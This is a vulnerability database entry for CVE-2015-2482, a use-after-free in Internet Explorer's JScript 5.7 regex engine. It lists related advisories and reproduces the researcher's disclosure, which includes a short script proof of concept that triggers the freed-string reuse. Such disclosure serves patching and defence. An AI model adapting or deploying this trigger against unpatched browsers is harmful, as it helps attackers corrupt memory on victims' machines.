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JScript 5.7 RegExpBase::FBadHeader Use-After-Free
| Reporter | Title | Published | Views | Family All 19 |
|---|---|---|---|---|
 | Microsoft Internet Explorer 8 jscript - 'RegExpBase::FBadHeader' Use-After-Free (MS15 | 23 Nov 201600:00 | – | zdt |
 | CVE-2015-2482 | 18 Nov 201610:20 | – | circl |
 | Microsoft VBScript and JScript Engine Memory Corruption Vulnerability | 15 Oct 201500:00 | – | cnvd |
 | CVE-2015-2482 | 14 Oct 201501:00 | – | cve |
 | CVE-2015-2482 | 14 Oct 201501:00 | – | cvelist |
 | MS15-108: Security update for JScript and VBScript to address remote code execution: October 13, 2015 | 13 Oct 201500:00 | – | mskb |
| MS15-106: Cumulative security update for Internet Explorer: October 13, 2015 | 13 Oct 201500:00 | – | mskb |
 | KLA10676 Multiple vulnerabilities in Microsoft JScript and VBScript | 13 Oct 201500:00 | – | kaspersky |
| KLA10677 Multiple vulnerabilities in Microsoft Internet Explorer | 13 Oct 201500:00 | – | kaspersky |
 | CVE-2015-2482 | 14 Oct 201501:59 | – | nvd |
10
`Recompiling the regular expression pattern during a replace can cause
the code
to reuse a freed string, but only if the string is freed from the cache by
allocating and freeing a number of strings of certain size.
CVE-2015-2482:
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2482
ZDI-15-515: http://www.zerodayinitiative.com/advisories/ZDI-15-515/
MS15-108: https://technet.microsoft.com/en-us/library/security/MS15-108
Repro:
<script>
var r=new RegExp("A|x|x|xx|xxxxxxxxxxxxxxxxxxxx+", "g");
"A".replace(r, function (){
for (var j = 0; j < 16; j++) new Array(0x1000).join("B");
r.compile();
});
</script>
Repro-in-a-tweet:
https://twitter.com/berendjanwever/status/654048253047140352
Cheers,
SkyLined
Follow me on twitter for a new browser bug every* day!
https://twitter.com/berendjanwever
(* might be more than one some days)
`
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14 Oct 2015 00:00Current
8.1High risk
Vulners AI Score8.1
EPSS0.64097